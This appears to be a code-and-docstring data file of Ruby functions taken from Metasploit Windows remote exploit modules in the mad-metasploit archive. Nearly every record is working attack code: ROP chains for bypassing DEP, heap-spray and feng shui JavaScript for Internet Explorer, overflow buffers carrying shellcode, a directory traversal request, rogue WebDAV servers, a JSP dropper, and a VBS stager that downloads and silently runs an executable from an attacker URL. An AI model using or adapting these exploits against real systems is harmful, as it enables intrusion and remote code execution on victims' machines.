<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
subdirectory = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{Rex::Text.rand_text_alpha(6)}/</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
files = %Q|
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}#{@exploit_exe}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-07-19T20:29:42Z</lp1:creationdate>
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
<lp1:getlastmodified>Mon, 19 Jul 2010 20:29:42 GMT</lp1:getlastmodified>
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
<lp2:executable>T</lp2:executable>
<D:supportedlock>
<D:lockentry>
<D:lockscope><D:exclusive/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
<D:lockentry>
<D:lockscope><D:shared/></D:lockscope>
<D:locktype><D:write/></D:locktype>
</D:lockentry>
</D:supportedlock>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
|
if request["Depth"].to_i > 0
if path.scan("/").length < 2
body << subdirectory
else
body << files
end
end
body << "</D:multistatus>"
body.gsub!(/\t/, '')
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml; charset="utf8"'
cli.send_response(resp)
end
|
PROPFIND requests sent by the WebDav Mini-Redirector
|
process_propfind
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16700.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16700.rb
|
MIT
|
def check
connect
disconnect
case banner
when /Serv-U FTP Server v4\.1/
print_status('Found version 4.1.0.3, exploitable')
return Exploit::CheckCode::Vulnerable
when /Serv-U FTP Server v5\.0/
print_status('Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!');
return Exploit::CheckCode::Appears
when /Serv-U FTP Server v4\.0/
print_status('Found version 4.0.0.4 or 4.1.0.0, additional check.');
send_user(datastore['USER'])
send_pass(datastore['PASS'])
if (double_ff?())
print_status('Found version 4.0.0.4, exploitable');
return Exploit::CheckCode::Vulnerable
else
print_status('Found version 4.1.0.0, exploitable');
return Exploit::CheckCode::Vulnerable
end
when /Serv-U FTP Server/
print_status('Found an unknown version, try it!');
return Exploit::CheckCode::Detected
else
print_status('We could not recognize the server banner')
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Safe
end
|
From 5.0.0.4 Change Log
"* Fixed bug in MDTM command that potentially caused the daemon to crash."
Nice way to play it down boys
Connected to ftp2.rhinosoft.com.
220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74]
Heh :)
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16715.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16715.rb
|
MIT
|
def exploit
if (connect)
sock.put("A0 GETSERVER<EOM>\n")
print_status("Initial packet sent to remote agent...")
disconnect
fakecaservice = Rex::Socket::TcpServer.create(
'LocalHost' => '0.0.0.0',
'LocalPort' => datastore['SRVPORT'],
'SSL' => false,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self,
})
add_socket(fakecaservice)
fakecaservice.start
print_status("Waiting for the license agent to connect back...")
begin
Timeout.timeout(3) do
done = false
while (not done and session = fakecaservice.accept)
print_status("Accepted connection from agent #{Rex::Socket.source_address(rhost)}..")
session.put("A0 GETCONFIG SELF 0<EOM>")
req = session.recvfrom(2000)[0]
next if not req
next if req.empty?
if (req =~ /OS\<([^\>]+)/)
print_status("Target reports OS: #{$1}")
end
# exploits two different versions at once >:-)
# 144 -> return address of esi points to string middle
# 196 -> return address of edi points to string beginning
# 148 -> avoid exception by patching with writable address
# 928 -> seh handler (not useful under XP SP2)
buff = rand_text_alphanumeric(900)
buff[142, 2] = Rex::Arch::X86.jmp_short(8) # jmp over addresses
buff[144, 4] = [target['Rets'][0]].pack('V') # jmp esi
buff[148, 4] = [target['Rets'][1]].pack('V') # writable address
buff[194, 2] = Rex::Arch::X86.jmp_short(4) # jmp over address
buff[196, 4] = [target['Rets'][2]].pack('V') # jmp edi
buff[272, payload.encoded.length] = payload.encoded
sploit = "A0 GETCONFIG SELF #{buff}<EOM>"
session.put(sploit)
session.close
end
end
ensure
handler
fakecaservice.close
return
end
end
end
|
def check
It is possible to check, but due to a software bug, checking prevents exploitation
end
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16744.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16744.rb
|
MIT
|
def auto_target
info = http_fingerprint({ :uri => '/SecurityGateway.dll' }) # automatic targetting
if (info =~ /SecurityGateway (1\..*)$/)
case $1
when /1\.0\.1/
return self.targets[1]
end
end
# Not vulnerable
nil
end
|
Identify the target based on the SecurityGateway version number
|
auto_target
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/16803.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/16803.rb
|
MIT
|
def build_vbs(url, payload_name, stager_name)
name_xmlhttp = rand_text_alpha(2)
name_adodb = rand_text_alpha(2)
tmp = "#{@temp_folder}/#{stager_name}"
vbs = "echo Set #{name_xmlhttp} = CreateObject(\"\"Microsoft.XMLHTTP\"\") "
vbs << ": #{name_xmlhttp}.open \"\"GET\"\",\"\"http://#{url}\"\",False : #{name_xmlhttp}.send"
vbs << ": Set #{name_adodb} = CreateObject(\"\"ADODB.Stream\"\") "
vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
vbs << ": #{name_adodb}.SaveToFile \"\"#{@temp_folder}/#{payload_name}.exe\"\",2 "
vbs << ": CreateObject(\"\"WScript.Shell\"\").Run \"\"#{@temp_folder}/#{payload_name}.exe\"\",0 >> #{tmp}"
return vbs
end
|
Unfortunately if we echo the vbs cmdstager too many times, we tend to have random missing lines in
either the payload or the vbs script. To avoid this problem, I ended up writing this custom routine
that only uses one echo.
|
build_vbs
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/17149.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/17149.rb
|
MIT
|
def add_template(id)
buf = ''
buf << "\x9b\x00" #Packet size
buf << "\x01\x00\x34\x12"
buf << "\x07" #Opcode
buf << "\x00\x00\x00\x00\x00\x00\x00"
buf << "\x01" #Flag
buf << "\x00\x00\x00"
buf << "\x04" #Command (add)
buf << "\x00\x00\x00"
buf << id
buf << "\x00"
buf << "\x00"*31
buf << "\x78"
buf << "\x00"*63
buf << "\x78"
buf << "\x00"*28
connect
sock.put(buf)
print_status("Sending ADD command to #{datastore['RHOST']}")
res = sock.recv(1024)
disconnect
return res
end
|
We need to send the Add command first, so that IGSSdataServer.exe can find the 'ID' before
triggering the vulnerable code path we're trying to hit. Without this, we'll just hit
"FAILED renameDicRec. ID not found %s" (logText function).
|
add_template
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/17374.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/17374.rb
|
MIT
|
def inject_payload(my_payload)
buf = ''
buf << "\x01\x00\x34\x12"
buf << "\x0D" #Opcode
buf << "\x00\x00\x00\x00\x00\x00\x00"
buf << "\x01" #Flag
buf << "\x00\x00\x00"
buf << "\x01" #Command (ListAll)
buf << "\x00\x00\x00"
buf << my_payload
buf << Rex::Text.rand_text_alpha(1024-my_payload.length)
buf << "\x00"*130
#Packet size
buf_size = [buf.length + 2].pack('v')
buf = buf_size + buf
connect
sock.put(buf)
print_status("Injecting payload in memory to #{datastore['RHOST']}")
disconnect
end
|
Since we don't have a lot of space on the stack when we trigger the overflow, we send a
separate packet that contains our final payload, and let egghunter look for it later in memory
|
inject_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/17374.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/17374.rb
|
MIT
|
def to_unicode(text)
output = ''
(text.length).times do |i|
output << text[i,1] << "\x00"
end
return output
end
|
User input will get converted back to ANSCI with WideCharToMultiByte before vsprintf
|
to_unicode
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/17450.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/17450.rb
|
MIT
|
def automatic_target(cli, request)
thistarget = nil
agent = request.headers['User-Agent']
if agent =~ /Version\/10\.00/ or agent =~ /Version\/10\.01/ or agent =~ /Version\/10\.10/
thistarget = targets[3]
elsif agent =~ /Version\/10\.50/ or agent =~ /Version\/10\.51/ or agent =~ /Version\/10\.52/ or agent =~ /Version\/10\.53/ or agent =~ /Version\/10\.54/
thistarget = targets[2]
else
thistarget = targets[1]
end
thistarget
end
|
I don't know if Msf::Exploit::Remote::BrowserAutopwn works, but I'm going to include my own auto-target selection
|
automatic_target
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/17936.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/17936.rb
|
MIT
|
def on_new_session(client)
if client.type != "meterpreter"
print_error("NOTE: you must use a meterpreter payload in order to automatically cleanup.")
print_error("The vbs payload and mof file must be removed manually.")
return
end
return if not @var_mof_name
return if not @var_vbs_name
# stdapi must be loaded before we can use fs.file
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
cmd = "C:\\windows\\system32\\attrib.exe -r " +
"C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof"
client.sys.process.execute(cmd, nil, {'Hidden' => true })
begin
print_status("Deleting the vbs payload \"#{@var_vbs_name}.vbs\" ...")
client.fs.file.rm("C:\\windows\\system32\\" + @var_vbs_name + ".vbs")
print_status("Deleting the mof file \"#{@var_mof_name}.mof\" ...")
client.fs.file.rm("C:\\windows\\system32\\wbem\\mof\\good\\" + @var_mof_name + ".mof")
rescue ::Exception => e
print_error("Exception: #{e.inspect}")
end
end
|
The following handles deleting the copied vbs payload and mof file
See "struts_code_exec.rb" and "ms10_026_dbldecode.rb" for more information.
|
on_new_session
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/18381.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/18381.rb
|
MIT
|
def on_new_session(client)
if client.type != "meterpreter"
print_error("NOTE: you must use a meterpreter payload in order to process migration.")
return
end
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
# Select path and executable to run depending the architecture
# and the operating system
if client.sys.config.sysinfo["OS"] =~ /Windows XP/
windir = client.fs.file.expand_path("%ProgramFiles%")
cmd="#{windir}\\Windows NT\\Accessories\\wordpad.exe"
else # Windows 2000
windir = client.fs.file.expand_path("%windir%")
if client.sys.config.sysinfo['Architecture'] =~ /x86/
cmd = "#{windir}\\System32\\notepad.exe"
else
cmd = "#{windir}\\Sysnative\\notepad.exe"
end
end
# run hidden
print_status("Spawning #{cmd.split("\\").last} process to migrate to")
proc = client.sys.process.execute(cmd, nil, {'Hidden' => true })
target_pid = proc.pid
begin
print_good("Migrating to #{target_pid}")
client.core.migrate(target_pid)
print_good("Successfully migrated to process #{target_pid}")
rescue ::Exception => e
print_error("Could not migrate in to process.")
print_error(e.to_s)
end
end
|
The following code allows to migrate if having into account
that over Windows XP permissions aren't granted on %windir%\system32
Code ripped from "modules/post/windows/manage/migrate.rb". See it
for more information
|
on_new_session
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/18388.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/18388.rb
|
MIT
|
def get_install_path
cgi = '/OvCgi/OpenView5.exe'
web_session = rand_text_numeric(3)
my_cookie = "OvOSLocale=English_United States.1252; "
my_cookie << "OvAcceptLang=en-US; "
my_cookie << "OvJavaLocale=en_US.Cp1252; "
my_cookie << "OvWebSession=#{web_session}:AnyUser:"
payload = "../../../log/setup.log"
res = send_request_cgi({
'uri' => cgi,
'cookie' => my_cookie,
'method' => "GET",
'vars_get' =>
{
'Target' => "Main",
'Scope' => "Snmp",
'Action' => payload
}
}, 5)
installation_path = ""
if res and res.code == 200 and
res.body =~ /([A-Z]:\\.*\\)log/
print_status("Installation Path Found in #{$1}")
installation_path = $1
else
print_status("Installation Path Not Found using the default")
installation_path = "C:\\Program Files\\HP OpenView\\"
end
return installation_path
end
|
Tries to guess the HP OpenView install dir via the Directory traversal identified
by OSVDB 44359.
If OSVDB 44359 doesn't allow to retrieve the installation path the default one
(C:\Program Files\HP OpenView\) is used.
Directory Traversal used:
http://host/OvCgi/OpenView5.exe?Context=Snmp&Action=../../../log/setup.log
|
get_install_path
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/18388.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/18388.rb
|
MIT
|
def build_element(element_name, my_target)
dst = Rex::Text.to_unescape([my_target['DispatchDst']].pack("V"))
element = ''
if my_target.name =~ /IE 8/
max = 63 # Number of attributes for IE 8
index = 1 # Where we want to confuse the type
else
max = 55 # Number of attributes for before IE 8
index = 0 # Where we want to confuse the type
end
element << "var #{element_name} = document.createElement(\"select\")" + "\n"
# Build attributes
0.upto(max) do |i|
obj = (i==index) ? "unescape(\"#{dst}\")" : "alert"
element << "#{element_name}.w#{i.to_s} = #{obj}" + "\n"
end
return element
end
|
Build the JavaScript string for the attributes
|
build_element
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/18426.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/18426.rb
|
MIT
|
def build_trigger(my_target)
if my_target.name == 'IE 8 on Windows XP SP3'
# Redoing the feng shui if fails makes it reliable
js_trigger = <<-JSTRIGGER
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w1) == "string") {
} else {
clones[k].w1('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
JSTRIGGER
select_element = build_element('selob', my_target)
else
js_trigger = <<-JSTRIGGER
function trigger(){
var k = 999;
while (k > 0) {
if (typeof(clones[k].w0) == "string") {
} else {
clones[k].w0('come on!');
}
k = k - 2;
}
feng_shui();
document.audio.Play();
}
JSTRIGGER
select_element = build_element('selob', my_target)
end
trigger = <<-JS
var heap = new heapLib.ie();
#{select_element}
var clones=new Array(1000);
function feng_shui() {
heap.gc();
var i = 0;
while (i < 1000) {
clones[i] = selob.cloneNode(true)
i = i + 1;
}
var j = 0;
while (j < 1000) {
delete clones[j];
CollectGarbage();
j = j + 2;
}
}
feng_shui();
#{js_trigger}
JS
trigger = heaplib(trigger, {:noobfu => true})
return trigger
end
|
Feng Shui and triggering Steps:
1. Run the garbage collector before allocations
2. Defragment the heap and alloc CImplAry objects in one step (objects size are IE version dependent)
3. Make holes
4. Let windows media play the crafted midi file and corrupt the heap
5. Force the using of the confused tagVARIANT.
|
build_trigger
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/18426.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/18426.rb
|
MIT
|
def create_rop_chain(my_target)
rop_gadgets =
[
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
my_target['StackPivot'], # stackpivot
junk, # padding
0x7c376402, # POP EBP # RETN [msvcr71.dll]
0x7c376402, # skip 4 bytes [msvcr71.dll]
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
0xfffff800, # Value to negate, will become 0x00000201 (dwSize)
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
0x7c354901, # POP EBX # RETN [msvcr71.dll]
0xffffffff,
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
0x7c38b001, # &Writable location [msvcr71.dll]
0x7c34b8d7, # POP EDI # RETN [msvcr71.dll]
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
0x7c364802, # POP ESI # RETN [msvcr71.dll]
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll]
].flatten.pack('V*')
return rop_gadgets
end
|
ROP chain copied from ms11_050_mshtml_cobjectelement.rb (generated by mona)
Added a little of roping to adjust the stack pivoting for this case
Specific for IE8 XP SP3 case at this time
|
create_rop_chain
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/18426.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/18426.rb
|
MIT
|
def process_options(cli, request, target)
print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
headers = {
#'DASL' => '<DAV:sql>',
#'DAV' => '1, 2',
'Allow' => 'OPTIONS, GET, PROPFIND',
'Public' => 'OPTIONS, GET, PROPFIND'
}
send_response(cli, '', headers)
end
|
OPTIONS requests sent by the WebDav Mini-Redirector
|
process_options
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/18520.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/18520.rb
|
MIT
|
def process_propfind(cli, request, target)
path = request.uri
print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
body = ''
if (path =~ /\.dll$/i)
# Response for the DLL
print_status("Sending DLL multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
# Response for anything else (generally just /)
print_status("Sending directory multistatus for #{path} ...")
body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
else
print_status("Sending 404 for #{path} ...")
send_not_found(cli)
return
end
# send the response
resp = create_response(207, "Multi-Status")
resp.body = body
resp['Content-Type'] = 'text/xml'
cli.send_response(resp)
end
|
PROPFIND requests sent by the WebDav Mini-Redirector
|
process_propfind
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/18520.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/18520.rb
|
MIT
|
def exploit
if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
end
super
end
|
Make sure we're on the right port/path to support WebDAV
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/18520.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/18520.rb
|
MIT
|
def get_payload(t)
# chain generated by mona.py - See corelan.be
case t['Rop']
when :msvcrt
rop =
[
0x77c4e392, # POP EAX # RETN
0x77c11120, # <- *&VirtualProtect()
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
junk,
0x77c2dd6c,
0x77c4ec00, # POP EBP # RETN
0x77c35459, # ptr to 'push esp # ret'
0x77c47705, # POP EBX # RETN
0x00000800, # <- change size to mark as executable if needed (-> ebx)
0x77c3ea01, # POP ECX # RETN
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
0x77c46100, # POP EDI # RETN
0x77c46101, # ROP NOP (-> edi)
0x77c4d680, # POP EDX # RETN
0x00000040, # newProtect (0x40) (-> edx)
0x77c4e392, # POP EAX # RETN
nop, # NOPS (-> eax)
0x77c12df9, # PUSHAD # RETN
].pack("V*")
when :jre
rop =
[
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
0x7c347f98, # RETN (ROP NOP)
0x7c3415a2, # JMP [EAX]
0xffffffff,
0x7c376402, # skip 4 bytes
0x7c351e05, # NEG EAX # RETN
0x7c345255, # INC EBX # FPATAN # RETN
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
0x7c344f87, # POP EDX # RETN
0xffffffc0, # Value to negate, will become 0x00000040
0x7c351eb1, # NEG EDX # RETN
0x7c34d201, # POP ECX # RETN
0x7c38b001, # &Writable location
0x7c347f97, # POP EAX # RETN
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
0x7c345c30, # ptr to 'push esp # ret '
].pack("V*")
end
code = rop
code << make_nops(38)
code << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $+0x6").encode_string # instr length: 2 bytes
code << [t.ret].pack("V") # Stack Pivot
code << payload.encoded
return code
end
|
ROP chain + shellcode will be sprayed at 0x0c0c0c0c
|
get_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/18642.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/18642.rb
|
MIT
|
def create_rop_chain
rop_gadgets = [
0x3F2CB9E0, # POP ECX # RETN
0x3F10115C, # HeapCreate() IAT = 3F10115C
# EAX == HeapCreate() Address
0x3F389CA5, # MOV EAX,DWORD PTR DS:[ECX] # RETN
# Call HeapCreate() and Create a Executable Heap. After this call, EAX contain our Heap Address.
0x3F39AFCF, # CALL EAX # RETN
0x00040000,
0x00010000,
0x00000000,
0x3F2CB9E0, # POP ECX # RETN
0x00008000, # pop 0x00008000 into ECX
# add ECX to EAX and instead of calling HeapAlloc, now EAX point to the RWX Heap
0x3F39CB46, # ADD EAX,ECX # POP ESI # RETN
junk,
0x3F2CB9E0, # POP ECX # RETN
0x3F3B3DC0, # pop 0x3F3B3DC0 into ECX, it is a writable address.
# storing our RWX Heap Address into 0x3F3B3DC0 ( ECX ) for further use ;)
0x3F2233CC, # MOV DWORD PTR DS:[ECX],EAX # RETN
0x3F2D59DF, #POP EAX # ADD DWORD PTR DS:[EAX],ESP # RETN
0x3F3B3DC4, # pop 0x3F3B3DC4 into EAX , it is writable address with zero!
# then we add ESP to the Zero which result in storing ESP into that address,
# we need ESP address for copying shellcode ( which stores in Stack ),
# and we have to get it dynamically at run-time, now with my tricky instruction, we have it!
0x3F2F18CC, # POP EAX # RETN
0x3F3B3DC4, # pop 0x3F3B3DC4 ( ESP address ) into EAX
# makes ECX point to nearly offset of Stack.
0x3F2B745E, # MOV ECX,DWORD PTR DS:[EAX] #RETN
0x3F39795E, # POP EDX # RETN
0x00000024, # pop 0x00000024 into EDX
# add 0x24 to ECX ( Stack address )
0x3F39CB44, # ADD ECX,EDX # ADD EAX,ECX # POP ESI # RETN
junk,
# EAX = ECX
0x3F398267, # MOV EAX,ECX # RETN
# mov EAX ( Stack Address + 24 = Current ESP value ) into the current Stack Location,
# and the popping it into ESI ! now ESI point where shellcode stores in stack
0x3F3A16DE, # MOV DWORD PTR DS:[ECX],EAX # XOR EAX,EAX # POP ESI # RETN
# EAX = ECX
0x3F398267, # MOV EAX,ECX # RETN
0x3F2CB9E0, # POP ECX # RETN
0x3F3B3DC0, # pop 0x3F3B3DC0 ( Saved Heap address ) into ECX
# makes EAX point to our RWX Heap
0x3F389CA5, # MOV EAX,DWORD PTR DS:[ECX] # RETN
# makes EDI = Our RWX Heap Address
0x3F2B0A7C, # XCHG EAX,EDI # RETN 4
0x3F2CB9E0, # POP ECX # RETN
junk,
0x3F3B3DC0, # pop 0x3F3B3DC0 ( Saved Heap address ) into ECX
# makes EAX point to our RWX Heap
0x3F389CA5, # MOV EAX,DWORD PTR DS:[ECX] # RETN
# just skip some junks
0x3F38BEFB, # ADD AL,58 # RETN
0x3F2CB9E0, # POP ECX # RETN
0x00000300, # pop 0x00000300 into ECX ( 0x300 * 4 = Copy lent )
# Copy shellcode from stack into RWX Heap
0x3F3441B4, # REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI] # POP EDI # POP ESI # RETN
junk(2), # pop into edi # pop into esi
0x3F39AFCF # CALL EAX # RETN
].flatten.pack("V*")
# To avoid shellcode being corrupted in the stack before ret
rop_gadgets << "\x90" * target['RopOffset'] # make_nops doesn't have sense here
return rop_gadgets
end
|
Ikazuchi ROP chain (msgr3en.dll)
Credits to Abysssec
http://abysssec.com/files/The_Arashi.pdf
|
create_rop_chain
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/18780.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/18780.rb
|
MIT
|
def check
res = send_request_raw({
'method' => 'GET',
'uri' => '/LoginServlet'
})
if res and res.body =~ /\<title>\SolarWinds \- Storage Manager\<\/title\>/ and
res.body =~ /\<img style="padding\-top:30px;" src="\/images\/logo_solarwinds_login\.png" width="163" height="70" alt="SolarWinds Storage Manager"\>/
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
end
|
A very gentle check to see if Solarwinds Storage Manage exists or not
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/18833.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/18833.rb
|
MIT
|
def on_new_session(cli)
if cli.type != 'meterpreter'
print_error("Meterpreter not used. Please manually remove #{@jsp_name + '.jsp'}")
return
end
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
begin
jsp = @outpath.gsub(/\//, "\\\\")
jsp = jsp.gsub(/"/, "")
vprint_status("#{rhost}:#{rport} - Deleting: #{jsp}")
cli.fs.file.rm(jsp)
print_status("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted")
rescue ::Exception => e
print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}")
end
end
|
Remove the JSP once we get a shell.
We cannot delete the executable because it will still be in use.
|
on_new_session
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/18833.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/18833.rb
|
MIT
|
def on_client_connect(cli)
print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@native_payload.length} bytes)")
cli.put(@native_payload)
service.close_client(cli)
end
|
Transfer the malicious executable to our victim
|
on_client_connect
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/18833.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/18833.rb
|
MIT
|
def exploit
# Avoid passing this as an argument for performance reasons
# This is in base64 is make sure our file isn't mangled
@native_payload = [generate_payload_exe].pack("m*")
@native_payload_name = rand_text_alpha(rand(6)+3)
@jsp_name = rand_text_alpha(rand(6)+3)
@outpath = "\"C:/Program Files/SolarWinds/Storage Manager Server/webapps/ROOT/#{@jsp_name + '.jsp'}\""
begin
t = framework.threads.spawn("reqs", false) { inject_exec }
print_status("Serving executable on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}")
super
ensure
t.kill
end
end
|
The server must start first, and then we send the malicious requests
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
